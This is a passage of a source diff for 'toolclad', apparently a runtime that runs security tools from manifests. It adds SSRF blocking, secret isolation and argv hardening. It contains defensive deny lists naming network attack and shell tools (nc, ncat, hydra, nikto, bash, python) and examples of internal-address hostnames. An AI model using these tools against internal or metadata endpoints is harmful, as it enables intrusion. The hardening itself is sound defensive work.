`*.home.arpa`, `*.lan`, `*.intranet`, `*.corp`, `*.private`, `metadata.google.internal`) or spells an address in the name (`127.0.0.1.nip.io`, `10-0-0-1.nip.io`); a CIDR target is tested for overlap with every blocked range, so `8.0.0.0/5` is refused under `block_internal` because it contains `10.0.0.0/8` +- **`block_internal` resolves hostnames**: under `block_internal = true` a hostname is resolved and every A/AAAA answer is held to the range policy; a name that cannot be resolved is refused (fail closed). Node has no synchronous resolver, so the synchronous `validateArg`, `validateArgMode` and `validateArgWithCustomTypes` refuse a hostname under `block_internal` with `hostname cannot be verified without DNS resolution; pass an IP literal or use validateArgAsync`, and `validateArgAsync` / `validateArgWithCustomTypesAsync` perform the lookup (`dns.promises.lookup`, 2 s bound). The JavaScript runtime is therefore stricter than the Rust, Go and Python runtimes: the synchronous build and execute paths accept only IP literals and CIDRs for a `block_internal` target +- **Egress lint**: a manifest that reaches the network — `tool.network_egress = true`, an `[http]` or `[browser]` backend, or a binary in the egress list (`curl`, `wget`, `nmap`, `nc`, `ncat`, `netcat`, `masscan`, `telnet`, `ssh`, `ping`, `fping`, `httpie`, `http`, `wfuzz`, `ffuf`, `hydra`, `nikto`, matched by basename in `tool.binary`, `exec[0]` or the template's first token) — must set `block_internal = true` on every `scope_target`, `url`, `ip_address` and `cidr` argument or it is refused at load. The loaders extend the lint to custom types from `toolclad.toml`: a custom type cannot carry `block_internal`, so a custom-typed network target in an egress manifest is refused at load (`validateManifestWithCustomTypes(manifest, customTypes)` runs the same check on an in-memory manifest). An `executor`-only manifest is only an egress manifest when it declares `network_egress = true` ## Packages @@ -89,7 +92,7 @@ Each implementation provides: - **14 type validators** -- 10 core + 4 extended, all with injection sanitization - **Command construction** -- template interpolation with mappings, conditionals, defaults - **Execution** -- direct argv dispatch, process group kill on timeout, SHA-256 evidence hashing -- **Output parsers** -- builtin:json, builtin:xml, builtin:csv, builtin:jsonl, builtin:text, custom scripts +- **Output parsers** -- builtin:json, builtin:xml, builtin:csv, builtin:jsonl, builtin:text (custom parser scripts are refused at load) - **Output schema validation** -- validates parsed results against `[output.schema]` - **MCP schema generation** -- auto-generate inputSchema + outputSchema for LLM tool use - **Evidence envelopes** -- structured JSON with scan_id, timestamps, exit_code, stderr, output_hash @@ -153,6 +156,8 @@ allowed = ["info", "low", "medium", "high", "critical"] Reference in manifests: `type = "service_protocol"` +`loadManifest` (and therefore `toolclad validate`, `run`, `test` and `schema`) discovers `toolclad.toml` the same way it discovers `scope/scope.toml`: `TOOLCLAD_CONFIG_FILE` if set (an unreadable path is an error), else `toolclad.toml` searched upward from the manifest's directory. No file means no custom types. Every argument type is checked at load: a type that is neither built in nor defined in `toolclad.toml` is refused with `unknown type '' for argument ''`. The file is strict: unknown keys are refused, a custom type's `base` must be a built-in type, and a custom type may not shadow a built-in name. Embedders that already hold the types pass them as `loadManifestWithOptions(path, { customTypes })`; `loadManifestFromString(source, { baseDir })` loads from TOML text. + ## Output Handling ### Built-in Parsers @@ -165,14 +170,13 @@ Reference in manifests: `type = "service_protocol"` | `builtin:jsonl` | Nuclei, streaming tools | | `builtin:text` | Simple unstructured output (default) | -### Custom Parsers - -```toml -[output] -parser = "scripts/parse-outputs/parse-nmap-xml.py" -``` +### Custom Parsers (Not Supported) -Custom parsers receive the raw output file path as `argv[1]` and emit JSON to stdout. +A `parser` value other than the `builtin:*` names is refused at manifest load +(`custom output parsers are not supported by the reference runtimes`). Earlier +releases accepted and silently ignored it. Have the tool emit JSON, JSONL, CSV +or XML and describe the result with `[output.schema]`, which is validated +fail-closed. ### Evidence Envelope diff --git a/js/package-lock.json b/js/package-lock.json index 98321d8..3c30b11 100644 --- a/js/package-lock.json +++ b/js/package-lock.json @@ -1,12 +1,12 @@ { "name": "toolclad", - "version": "0.1.0", + "version": "0.6.2", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "toolclad", - "version": "0.1.0", + "version": "0.6.2", "license": "MIT", "dependencies": { "@iarna/toml": "^2.2.5", @@ -14,6 +14,9 @@ }, "bin": { "toolclad": "src/cli.js" + }, + "devDependencies": { + "fast-check": "4.10.2" } }, "node_modules/@iarna/toml": { @@ -30,6 +33,46 @@ "engines": { "node": ">=18" } + }, + "node_modules/fast-check": { + "version": "4.10.2", + "resolved": "https://registry.npmjs.org/fast-check/-/fast-check-4.10.2.tgz", + "integrity": "sha512-iK2f+YrcmoeGqk6fA0ea2bptcu/itMIm4NfEozq6N25+aG6h7s5HZbB/k1aV7b5w5sFLMCbbtRUsTVR+BgC3xw==", + "dev": true, + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/dubzzz" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fast-check" + } + ], + "license": "MIT", + "dependencies": { + "pure-rand": "^8.0.0" + }, + "engines": { + "node": ">=12.17.0" + } + }, + "node_modules/pure-rand": { + "version": "8.4.2", + "resolved": "https://registry.npmjs.org/pure-rand/-/pure-rand-8.4.2.tgz", + "integrity": "sha512-vvuOGgcuPJAirlHvuQw1TrOiw7ptaIXXmIbNuiNOY6lNGJJH49PQ1Kj4nd783nPdQhQdicgOjVI2yI/9BD6/Ng==", + "dev": true, + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/dubzzz" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fast-check" + } + ], + "license": "MIT" } } } diff --git a/js/package.json b/js/package.json index f72eed9..c185260 100644 --- a/js/package.json +++ b/js/package.json @@ -21,5 +21,8 @@ "dependencies": { "@iarna/toml": "^2.2.5", "commander": "^12.1.0" + }, + "devDependencies": { + "fast-check": "4.10.2" } } diff --git a/js/src/cli.js b/js/src/cli.js index 24a83bf..7053211 100644 --- a/js/src/cli.js +++ b/js/src/cli.js @@ -1,22 +1,33 @@ #!/usr/bin/env node +import { createRequire } from "node:module"; import { Command } from "commander"; -import { loadManifest } from "./manifest.js"; -import { buildCommand, execute, generateMcpSchema } from "./executor.js"; +import { loadManifest, loadManifestWithOptions } from "./manifest.js"; +// loadManifest discovers toolclad.toml (custom types) and checks every +// argument type at load, so validate/run/test/schema all share one path. +import { defaultGate, execute, generateMcpSchema } from "./executor.js"; + +const { version } = createRequire(import.meta.url)("../package.json"); const program = new Command(); program .name("toolclad") .description("ToolClad manifest executor") - .version("0.1.0"); + .version(version); program .command("validate ") .description("Validate a .clad.toml manifest file") - .action((manifestPath) => { + .option( + "--allow-unknown-keys", + "Downgrade unknown manifest keys from an error to a warning on stderr" + ) + .action((manifestPath, opts) => { try { - const manifest = loadManifest(manifestPath); + const manifest = loadManifestWithOptions(manifestPath, { + allowUnknownKeys: opts.allowUnknownKeys === true, + }); console.log(`${manifestPath} OK (tool: ${manifest.tool.name})`); } catch (err) { console.error(`${manifestPath} ERROR: ${err.message}`); @@ -28,11 +39,15 @@ program .command("run ") .description("Execute a tool using its manifest") .option("--arg ", "Arguments as key=value pairs") - .action((manifestPath, opts) => { + .option( + "--approve", + "Approve this call: use the allow-all policy gate instead of the default gate" + ) + .action(async (manifestPath, opts) => { try { const manifest = loadManifest(manifestPath); const args = parseArgs(opts.arg); - const result = execute(manifest, args); + const result = await execute(manifest, args, { approve: opts.approve === true }); console.log(JSON.stringify(result, null, 2)); } catch (err) { console.error(`Error: ${err.message}`); @@ -58,22 +73,30 @@ program .command("test ") .description("Dry run: validate args and show constructed command") .option("--arg ", "Arguments as key=value pairs") - .action((manifestPath, opts) => { + .action(async (manifestPath, opts) => { try { const manifest = loadManifest(manifestPath); const args = parseArgs(opts.arg); - const result = execute(manifest, args, { dryRun: true }); + const result = await execute(manifest, args, { dryRun: true }); console.log(); console.log(` Manifest: ${manifestPath}`); console.log(` Tool: ${manifest.tool.name}`); console.log(` Arguments: ${formatArgs(result.resolvedArgs)}`); console.log(` Command: ${result.command}`); + if (result.argv) { + console.log(` Argv: ${JSON.stringify(result.argv)}`); + } if (manifest.tool.cedar) { console.log( ` Cedar: ${manifest.tool.cedar.resource} / ${manifest.tool.cedar.action}` ); } - console.log(` Timeout: ${manifest.tool.timeout_seconds || 30}s`); + console.log(` Timeout: ${manifest.tool.timeout_seconds || 60}s`); + const gate = defaultGate(manifest, result.resolvedArgs || {}); + console.log(` Risk tier: ${manifest.tool.risk_tier || "(none)"}`); + console.log( + ` Approval: ${gate.allowed ? "not required" : `required (${gate.reason}); pass --approve to run`}` + ); console.log(); console.log(" [dry run -- command not executed]"); console.log(); @@ -102,4 +125,4 @@ function formatArgs(args) { .join(", "); } -program.parse(); +await program.parseAsync(); diff --git a/js/src/executor.js b/js/src/executor.js index 56e4533..9b34629 100644 --- a/js/src/executor.js +++ b/js/src/executor.js @@ -1,70 +1,756 @@ -import { spawnSync } from "node:child_process"; +import { spawn } from "node:child_process"; import { randomBytes, createHash } from "node:crypto"; +import { + accessSync, + chmodSync, + closeSync, + constants as fsConstants, + fstatSync, + lstatSync, + mkdirSync, + openSync, + readFileSync, + rmdirSync, + statSync, + writeFileSync, +} from "node:fs"; import { tmpdir } from "node:os"; -import { join } from "node:path"; -import { validateArg } from "./validator.js"; +import { isAbsolute, join, resolve as resolvePath } from "node:path"; +import TOML from "@iarna/toml"; +import { validateArgIn } from "./validator.js"; +import { scopeForManifest } from "./scope.js"; + +/** Same symbol manifest.js uses for the manifest's custom type map. */ +const CUSTOM_TYPES = Symbol.for("toolclad.customTypes"); +import { validateJsonSchema } from "./schema.js"; +import { parseCanonicalIp, enforceIpPolicy, internalNameReason, embeddedIpv4Literal } from "./hostpolicy.js"; /** - * Replace {_secret:name} placeholders with TOOLCLAD_SECRET_ env vars. - * @param {string} template - Template string with optional {_secret:name} vars - * @returns {string} Template with secrets injected from environment + * One left-to-right pass over a token: `{{` and `}}` are escapes for literal + * braces and `{name}` is a placeholder. Escapes are never placeholders. + */ +const BRACE_PASS_RE = /\{\{|\}\}|\{(\w+)\}/g; + +/** A token that consists solely of one placeholder. */ +const WHOLE_PLACEHOLDER_RE = /^\{(\w+)\}$/; + +/** Variables the executor injects into every command context. */ +const EXECUTOR_VARS = ["_scan_id", "_output_file", "_evidence_dir"]; + +const TEMPLATE_DEPRECATION_WARNING = + "warning: [command] template is deprecated and will be removed in the next minor release; use exec = [...]"; + +/** + * Binaries that connect to a network destination derived from their + * arguments — the ones for which an unconstrained target is an SSRF surface. + * Kept identical to the Rust runtime's list so the lint reads the same in + * every runtime; it is deliberately not extended here. */ -export function injectTemplateVars(template) { - return template.replace(/\{_secret:(\w+)\}/g, (_match, name) => { +export const EGRESS_BINARIES = Object.freeze([ + "curl", + "wget", + "nmap", + "nc", + "ncat", + "netcat", + "masscan", + "telnet", + "ssh", + "ping", + "fping", + "httpie", + "http", + "wfuzz", + "ffuf", + "hydra", + "nikto", +]); + +/** Argument types whose value names a network target. */ +const NETWORK_TARGET_TYPES = new Set(["scope_target", "url", "ip_address", "cidr"]); + +/** The last path component of a command, lowercased (`/usr/bin/Curl` → `curl`). */ +function commandBasename(command) { + const parts = String(command).split(/[/\\]/); + return parts[parts.length - 1].toLowerCase(); +} + +/** + * True if the manifest describes a tool that reaches the network: the author + * declared `tool.network_egress = true`, the backend is `[http]` or + * `[browser]`, or the dispatched binary — `tool.binary`, `exec[0]`, or the + * template's first token — is one of EGRESS_BINARIES. + * + * An `executor`-only manifest cannot be inspected for a binary: the script + * may run anything. It is an egress manifest only when the author says so + * (`network_egress = true`) or uses `[http]` / `[browser]`. That escape + * hatch is the author's responsibility. + * + * @param {object} manifest - Parsed or in-memory manifest + * @returns {boolean} + */ +export function isEgressManifest(manifest) { + const tool = manifest.tool || {}; + if (tool.network_egress === true) return true; + if (manifest.http || manifest.browser) return true; + + const command = manifest.command || {}; + const names = []; + if (typeof tool.binary === "string" && tool.binary !== "") { + names.push(commandBasename(tool.binary)); + } + if (Array.isArray(command.exec) && command.exec.length > 0) { + names.push(commandBasename(command.exec[0])); + } + if (typeof command.template === "string") { + const first = command.template.trim().split(/\s+/)[0]; + if (first) names.push(commandBasename(first)); + } + return names.some((name) => EGRESS_BINARIES.includes(name)); +} + +/** + * Egress lint (TC-15), applied at load and before any in-memory build. For + * an egress manifest every argument whose type names a network target must + * set `block_internal = true`, so internal / SSRF addresses are denied by + * default rather than by the author remembering. When the custom type map + * is available, an argument whose custom type has a network-target base is + * refused outright: a custom type definition cannot carry `block_internal`. + * + * @param {object} manifest - Parsed or in-memory manifest + * @param {object} [customTypes] - Map of custom type name to definition + * @throws {Error} naming the first offending argument + */ +export function lintNetworkEgress(manifest, customTypes) { + if (!isEgressManifest(manifest)) return; + for (const [name, def] of Object.entries(manifest.args || {})) { + if (!def || typeof def !== "object") continue; + const type = def.type; + if (NETWORK_TARGET_TYPES.has(type)) { + if (def.block_internal !== true) { + throw new Error( + `argument '${name}' is a network target for an egress binary but block_internal is not set; set block_internal = true to default-deny internal/SSRF targets` + ); + } + continue; + } + if (customTypes && Object.hasOwn(customTypes, type)) { + const base = customTypes[type].base; + if (NETWORK_TARGET_TYPES.has(base)) { + throw new Error( + `argument '${name}' uses custom type '${type}' as a network target; custom types cannot carry block_internal — use the built-in ${base} type` + ); + } + } + } +} + +/** + * The fixed PATH every child receives and against which a bare `argv[0]` is + * resolved. Never inherited: an inherited PATH is how a renamed binary that + * appears earlier in the search path wins. + */ +export const FIXED_PATH = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"; + +/** Parent variables copied into the child environment, only when set. */ +const PASSTHROUGH_ENV = ["HOME", "LANG", "LC_ALL", "TZ", "TERM"]; + +/** + * `argv[0]` basenames refused at load unless `[tool] allow_interpreter = true`: + * each one turns a validated argument into code. + */ +export const INTERPRETER_BINARIES = Object.freeze([ + "sh", "bash", "zsh", "dash", "ksh", "csh", "tcsh", "fish", "ash", "busybox", + "env", "eval", "xargs", "python", "python2", "python3", "perl", "ruby", + "node", "deno", "bun", "lua", "php", "awk", +]); + +const DEFAULT_TIMEOUT_SECONDS = 60; +const DEFAULT_KILL_GRACE_MS = 2000; +/** Default `[output] max_bytes`: 8 MiB for stdout and for stderr, each. */ +export const DEFAULT_OUTPUT_MAX_BYTES = 8388608; +/** Upper bound for `[output] max_bytes`: 1 GiB. */ +export const OUTPUT_MAX_BYTES_LIMIT = 1073741824; + +/** The `builtin:*` output parsers; any other `parser` value is refused. */ +export const BUILTIN_PARSERS = Object.freeze([ + "builtin:json", + "builtin:jsonl", + "builtin:csv", + "builtin:xml", + "builtin:text", +]); + +/** + * Build a child environment from the allowlist: the fixed PATH, plus HOME, + * LANG, LC_ALL, TZ and TERM when the parent has them, plus `extra`. + * `TOOLCLAD_SECRET_*` is filtered out last, so no edit to the allowlist or to + * `extra` can hand a secret to a child. + * + * @param {object} [extra] - Additional variables (executor hatch only) + * @returns {object} The complete child environment + */ +export function buildChildEnv(extra = {}) { + const env = { PATH: FIXED_PATH }; + for (const name of PASSTHROUGH_ENV) { + if (process.env[name] !== undefined) env[name] = process.env[name]; + } + Object.assign(env, extra); + for (const name of Object.keys(env)) { + if (name.startsWith("TOOLCLAD_SECRET_")) delete env[name]; + } + return env; +} + +/** + * Read `TOOLCLAD_SECRETS_FILE`: a TOML file of top-level `name = "value"` + * pairs. Refused when group or others can read it — that check is what makes + * the file better than an environment variable. + * + * @param {string} path + * @returns {object} name -> value + */ +function readSecretsFile(path) { + const fd = openSync(path, fsConstants.O_RDONLY | fsConstants.O_NOFOLLOW); + try { + const mode = fstatSync(fd).mode & 0o777; + if ((mode & 0o077) !== 0) { + throw new Error( + `TOOLCLAD_SECRETS_FILE '${path}' is readable by group or others (mode ${mode.toString(8).padStart(4, "0")}); chmod 600 it` + ); + } + const parsed = TOML.parse(readFileSync(fd, "utf-8")); + const secrets = Object.create(null); + for (const [name, value] of Object.entries(parsed)) { + if (typeof value === "string") secrets[name] = value; + } + return secrets; + } finally { + closeSync(fd); + } +} + +/** + * A secret resolver for one call. The secrets file, when configured, is read + * at most once (lazily, on the first reference) and wins over the matching + * `TOOLCLAD_SECRET_` environment variable. A missing secret is an error. + * + * @returns {(name: string) => string} + */ +export function makeSecretResolver() { + const file = process.env.TOOLCLAD_SECRETS_FILE; + let fileSecrets = null; + return (name) => { + if (file) { + if (fileSecrets === null) fileSecrets = readSecretsFile(file); + if (Object.hasOwn(fileSecrets, name)) return fileSecrets[name]; + } const envKey = `TOOLCLAD_SECRET_${name.toUpperCase()}`; const val = process.env[envKey]; if (val === undefined) { - throw new Error(`Missing environment variable: ${envKey}`); + const where = file ? ` and no '${name}' entry in TOOLCLAD_SECRETS_FILE` : ""; + throw new Error(`Missing environment variable: ${envKey}${where}`); } return val; - }); + }; } /** - * Split a command string into an array of arguments, respecting quoted strings. - * This avoids shell interpretation when passing to spawnSync. - * @param {string} cmd - The command string to split - * @returns {string[]} Array of arguments + * Replace {_secret:name} placeholders from TOOLCLAD_SECRETS_FILE or the + * TOOLCLAD_SECRET_ environment variable. + * @param {string} template - Template string with optional {_secret:name} vars + * @param {(name: string) => string} [resolveSecret] - Resolver shared across one call + * @returns {string} Template with secrets injected */ -function splitCommand(cmd) { - const args = []; - let current = ""; +export function injectTemplateVars(template, resolveSecret = makeSecretResolver()) { + return template.replace(/\{_secret:(\w+)\}/g, (_match, name) => resolveSecret(name)); +} + +/** The basename of a command path (separators `/` and `\`), case preserved. */ +function rawBasename(command) { + const parts = String(command).split(/[/\\]/); + return parts[parts.length - 1]; +} + +/** + * Load-time `argv[0]` checks for the exec/template/executor forms: the + * interpreter denylist, and for exec/template a basename match against a + * non-empty `tool.binary`. Skipped for callback dispatch. + */ +function checkArgv0(manifest) { + const tool = manifest.tool || {}; + const command = manifest.command || {}; + if (tool.dispatch === "callback") return; + + let argv0; + let isExecutor = false; + if (typeof command.executor === "string" && command.executor !== "") { + argv0 = command.executor; + isExecutor = true; + } else if (Array.isArray(command.exec) && command.exec.length > 0) { + argv0 = command.exec[0]; + } else { + return; + } + + const base = rawBasename(argv0); + if (INTERPRETER_BINARIES.includes(base) && tool.allow_interpreter !== true) { + throw new Error( + `command argv[0] '${argv0}' is an interpreter; set allow_interpreter = true to permit it` + ); + } + if (!isExecutor && typeof tool.binary === "string" && tool.binary !== "") { + if (base !== rawBasename(tool.binary)) { + throw new Error( + `command argv[0] '${argv0}' does not match tool.binary '${tool.binary}'` + ); + } + } +} + +/** + * `tool.timeout_seconds`, defaulting to 60; zero or negative is refused. + * @param {object} manifest + * @returns {number} seconds + */ +export function timeoutSeconds(manifest) { + const value = (manifest.tool || {}).timeout_seconds; + if (value === undefined || value === null) return DEFAULT_TIMEOUT_SECONDS; + if (typeof value !== "number" || !Number.isFinite(value) || value <= 0) { + throw new Error("timeout_seconds must be greater than zero"); + } + return value; +} + +/** + * The manifest's `[output] max_bytes` (default 8 MiB). An integer outside + * 1..=1 GiB is refused here as well as at load, for in-memory manifests. + * + * @param {object} manifest + * @returns {number} bytes + */ +export function outputMaxBytes(manifest) { + const value = (manifest.output || {}).max_bytes; + if (value === undefined || value === null) return DEFAULT_OUTPUT_MAX_BYTES; + if (!Number.isInteger(value) || value < 1 || value > OUTPUT_MAX_BYTES_LIMIT) { + throw new Error( + `output.max_bytes must be an integer between 1 and ${OUTPUT_MAX_BYTES_LIMIT}` + ); + } + return value; +} + +/** + * Refuse an `[output] parser` that is not one of the `builtin:*` names. + * + * @param {object} manifest + * @throws {Error} on a custom parser + */ +export function checkOutputParser(manifest) { + const parser = (manifest.output || {}).parser; + if (parser === undefined || parser === null) return; + if (!BUILTIN_PARSERS.includes(parser)) { + throw new Error( + `custom output parsers are not supported by the reference runtimes (parser = "${parser}")` + ); + } +} + +/** `TOOLCLAD_KILL_GRACE_MS` as a non-negative integer; anything else -> 2000. */ +function killGraceMs() { + const raw = process.env.TOOLCLAD_KILL_GRACE_MS; + if (raw === undefined || !/^\d+$/.test(raw.trim())) return DEFAULT_KILL_GRACE_MS; + const n = Number(raw.trim()); + return Number.isSafeInteger(n) ? n : DEFAULT_KILL_GRACE_MS; +} + +/** `-<32 hex chars>`: 128 bits from a CSPRNG. */ +export function newScanId() { + return `${Math.floor(Date.now() / 1000)}-${randomBytes(16).toString("hex")}`; +} + +const OUTPUT_EXTENSIONS = new Set(["xml", "json", "csv", "jsonl"]); + +/** + * The evidence paths for one invocation. + * + * - evidenceDir: `TOOLCLAD_EVIDENCE_DIR`, else `/toolclad-evidence` + * - outputDir: `[tool.evidence] output_dir` with `{evidence_dir}` and + * `{scan_id}` substituted, else `/-` + * - outputFile: `/scan.` (`ext` from output.format) + * + * @param {object} manifest + * @param {string} scanId + * @returns {{ evidenceDir: string, outputDir: string, outputFile: string }} + */ +export function evidencePaths(manifest, scanId) { + const evidenceDir = + process.env.TOOLCLAD_EVIDENCE_DIR || join(tmpdir(), "toolclad-evidence"); + const configured = manifest.tool?.evidence?.output_dir; + const outputDir = + typeof configured === "string" && configured !== "" + ? configured + .replaceAll("{evidence_dir}", evidenceDir) + .replaceAll("{scan_id}", scanId) + : join(evidenceDir, `${scanId}-${manifest.tool?.name ?? "tool"}`); + const format = manifest.output?.format; + const ext = OUTPUT_EXTENSIONS.has(format) ? format : "txt"; + return { evidenceDir, outputDir, outputFile: join(outputDir, `scan.${ext}`) }; +} + +/** Refuse a path that exists as a symbolic link. */ +function refuseSymlink(path) { + let st; + try { + st = lstatSync(path); + } catch (err) { + if (err.code === "ENOENT") return; + throw err; + } + if (st.isSymbolicLink()) { + throw new Error(`refusing to use '${path}': it is a symbolic link`); + } +} + +/** + * Create a directory (and parents) mode 0700 and force the mode on the leaf, + * refusing a symlink at the leaf. + */ +export function ensurePrivateDir(path) { + refuseSymlink(path); + mkdirSync(path, { recursive: true, mode: 0o700 }); + refuseSymlink(path); + chmodSync(path, 0o700); +} + +/** + * Create a file the runtime writes: refuse a pre-planted symlink, then open + * with `wx` (O_CREAT | O_EXCL) and mode 0600, so the write can never be + * redirected or land in an existing file. + * + * @param {string} path + * @param {string|Buffer} [data=""] + */ +export function createPrivateFile(path, data = "") { + refuseSymlink(path); + const fd = openSync(path, "wx", 0o600); + try { + if (data.length > 0) writeFileSync(fd, data); + } finally { + closeSync(fd); + } +} + +/** + * Resolve `argv[0]` for spawning: a name without a separator is searched on + * FIXED_PATH; a path with a separator is used as given (made absolute + * against the runtime's working directory, since the child runs in a + * scratch directory). + * + * @param {string} argv0 + * @returns {string} Absolute path + */ +export function resolveBinary(argv0) { + if (argv0.includes("/")) { + return isAbsolute(argv0) ? argv0 : resolvePath(argv0); + } + for (const dir of FIXED_PATH.split(":")) { + const candidate = join(dir, argv0); + try { + if (statSync(candidate).isFile()) { + accessSync(candidate, fsConstants.X_OK); + return candidate; + } + } catch { + // Not here; keep searching. + } + } + throw new Error(`cannot resolve command '${argv0}' on PATH ${FIXED_PATH}`); +} + +/** + * Tokenize a manifest command template into an argv-style token array. + * + * Runs on trusted manifest text only; substituted values are never re-split. + * Honors single and double quotes and backslash escapes. A placeholder may + * not appear inside quotes (it must be a whole, unquoted token), but the + * `{{` escape for a literal brace is allowed anywhere. + * + * @param {string} template - The template text + * @param {string} [where="command template"] - Label used in error messages + * @returns {string[]} Tokens, with `{{`/`}}` escapes left intact for substitution + */ +export function tokenizeTemplate(template, where = "command template") { + const s = String(template); + const tokens = []; + let cur = ""; + let started = false; let inSingle = false; let inDouble = false; - for (let i = 0; i < cmd.length; i++) { - const c = cmd[i]; - if (c === "'" && !inDouble) { + + for (let i = 0; i < s.length; i++) { + const c = s[i]; + if (c === "\\" && !inSingle) { + if (i + 1 >= s.length) { + throw new Error(`trailing backslash in ${where}`); + } + cur += s[++i]; + started = true; + } else if (c === "'" && !inDouble) { inSingle = !inSingle; + started = true; } else if (c === '"' && !inSingle) { inDouble = !inDouble; - } else if (c === " " && !inSingle && !inDouble) { - if (current.length > 0) { - args.push(current); - current = ""; + started = true; + } else if (c === "{" && (inSingle || inDouble)) { + if (s[i + 1] === "{") { + cur += "{{"; + started = true; + i++; + } else { + throw new Error( + `${where} places a placeholder inside quotes at offset ${i}; placeholders must be whole, unquoted tokens (use exec = [...])` + ); + } + } else if (/\s/.test(c) && !inSingle && !inDouble) { + if (started) { + tokens.push(cur); + cur = ""; + started = false; } } else { - current += c; + cur += c; + started = true; + } + } + + if (inSingle || inDouble) { + throw new Error(`unbalanced quote in ${where}`); + } + if (started) { + tokens.push(cur); + } + return tokens; +} + +function defineHidden(obj, key, value) { + Object.defineProperty(obj, key, { + value, + enumerable: false, + writable: true, + configurable: true, + }); +} + +/** + * Compile `[command]` into its canonical exec form. Idempotent: safe to call + * from loadManifest and again from the build path for in-memory manifests. + * + * - `exec` is used as-is (one element = one token, never split). + * - `template` is tokenized into `exec` at load; `template` is kept for + * display and a deprecation warning is emitted once per compile. + * - Every conditional template is tokenized into a hidden token array. + * - `end_of_options` must be exactly "--" when present. + * - Every placeholder must name a declared variable. + * - An egress manifest must set `block_internal` on every network target + * argument (lintNetworkEgress). + * + * Sets the hidden flag `command._execWasDeclared` (true only when the manifest + * declared `exec` directly), which selects exec-mode validation. + * + * @param {object} manifest - Parsed manifest (mutated in place) + * @returns {object} The same manifest + */ +export function compileCommand(manifest) { + const command = manifest.command; + if (!command || command._compiled) return manifest; + + if ( + Object.hasOwn(command, "end_of_options") && + command.end_of_options !== "--" + ) { + throw new Error( + `Invalid manifest: command.end_of_options must be exactly "--" (got ${JSON.stringify(command.end_of_options)})` + ); + } + + if (command.template !== undefined && typeof command.template !== "string") { + throw new Error("Invalid manifest: command.template must be a string"); + } + + const hasExec = command.exec !== undefined && command.exec !== null; + if (hasExec) { + if ( + !Array.isArray(command.exec) || + command.exec.length === 0 || + !command.exec.every((e) => typeof e === "string") + ) { + throw new Error( + "Invalid manifest: command.exec must be a non-empty array of strings" + ); + } + defineHidden(command, "_execWasDeclared", true); + } else if (typeof command.template === "string" && command.template.length > 0) { + command.exec = tokenizeTemplate(command.template); + defineHidden(command, "_execWasDeclared", false); + console.warn(TEMPLATE_DEPRECATION_WARNING); + } else { + defineHidden(command, "_execWasDeclared", false); + } + + if (command.conditionals) { + for (const [name, cond] of Object.entries(command.conditionals)) { + if (!cond || typeof cond !== "object") { + throw new Error( + `Invalid manifest: command.conditionals.${name} must be a table` + ); + } + if (typeof cond.when !== "string") { + throw new Error( + `Invalid manifest: command.conditionals.${name} requires a 'when' expression` + ); + } + if (typeof cond.template !== "string") { + throw new Error( + `Invalid manifest: command.conditionals.${name} requires a 'template'` + ); + } + defineHidden( + cond, + "_tokens", + tokenizeTemplate(cond.template, `command.conditionals.${name} template`) + ); } } - if (current.length > 0) { - args.push(current); + + if (command.mappings) { + const argDefs = manifest.args || {}; + for (const [argName, mapping] of Object.entries(command.mappings)) { + if (!mapping || typeof mapping !== "object" || Array.isArray(mapping)) { + throw new Error( + `Invalid manifest: command.mappings.${argName} must be a table` + ); + } + const def = argDefs[argName]; + // An enum's mapping table must cover every allowed value; map a value + // to "" to mean "no flags". A missing case fails here, not silently. + if (def && def.type === "enum" && Array.isArray(def.allowed)) { + const missing = def.allowed.filter( + (v) => !Object.hasOwn(mapping, String(v)) + ); + if (missing.length > 0) { + throw new Error( + `Invalid manifest: [command.mappings.${argName}] does not cover enum values: ${missing.join(", ")} (map a value to "" for no flags)` + ); + } + } + } } - return args; + + checkPlaceholders(manifest); + checkArgv0(manifest); + lintNetworkEgress(manifest); + defineHidden(command, "_compiled", true); + return manifest; +} + +/** + * The two variable classes a command may reference. + * - single: one argv token's worth of text (args, command.defaults, executor vars) + * - multi: a token vector spliced into argv (mappings as `__flags`, + * conditionals as `_`) + */ +function declaredVariables(manifest) { + const command = manifest.command || {}; + const single = new Set([ + ...Object.keys(manifest.args || {}), + ...Object.keys(command.defaults || {}), + ...EXECUTOR_VARS, + ]); + const multi = new Set(); + for (const argName of Object.keys(command.mappings || {})) { + multi.add(`_${argName}_flags`); + } + for (const condName of Object.keys(command.conditionals || {})) { + multi.add(`_${condName}`); + } + return { single, multi }; } /** - * Resolve all argument values: apply defaults, validate types, resolve mappings. + * Load-time check: every placeholder in exec and in conditional templates + * must name a declared variable, and multi-token variables must stand alone. + */ +function checkPlaceholders(manifest) { + const command = manifest.command; + const { single, multi } = declaredVariables(manifest); + + const scan = (tokens, where) => { + for (const token of tokens) { + const whole = WHOLE_PLACEHOLDER_RE.test(token); + for (const m of token.matchAll(BRACE_PASS_RE)) { + if (m[0] === "{{" || m[0] === "}}") continue; + const name = m[1]; + if (multi.has(name)) { + if (!whole) { + throw new Error( + `placeholder '{${name}}' expands to multiple tokens and must be a whole token in ${where}` + ); + } + continue; + } + if (!single.has(name)) { + throw new Error( + `Invalid manifest: unresolved placeholder '{${name}}' in ${where}` + ); + } + } + } + }; + + if (Array.isArray(command.exec)) { + scan(command.exec, "command"); + } + for (const [name, cond] of Object.entries(command.conditionals || {})) { + scan(cond._tokens, `command.conditionals.${name}`); + } +} + +/** + * Resolve all argument values: refuse undeclared names, apply defaults, + * validate types. * * @param {object} manifest - Parsed manifest * @param {object} args - User-supplied arguments (key=value) + * @param {boolean} [execMode=false] - true only when the manifest declared exec * @returns {object} Validated argument map */ -function resolveArgs(manifest, args) { +function resolveArgs(manifest, args, execMode = false) { const argDefs = manifest.args || {}; + const supplied = args || {}; const resolved = {}; + // The scope is discovered (once per manifest object) only when some + // argument asks for it; a missing file is passed down as null so the + // validator refuses fail-closed. + const needsScope = Object.values(argDefs).some((def) => def && def.scope_check === true); + const scope = needsScope ? scopeForManifest(manifest) : null; + const customTypes = manifest[CUSTOM_TYPES] || {}; + + // A supplied name that [args] does not declare is refused rather than + // silently dropped, so a caller learns when its argument never reached the + // command. + const declared = Object.keys(argDefs).sort(); + for (const name of Object.keys(supplied).sort()) { + if (!Object.hasOwn(argDefs, name)) { + const list = declared.length > 0 ? declared.join(", ") : "none"; + 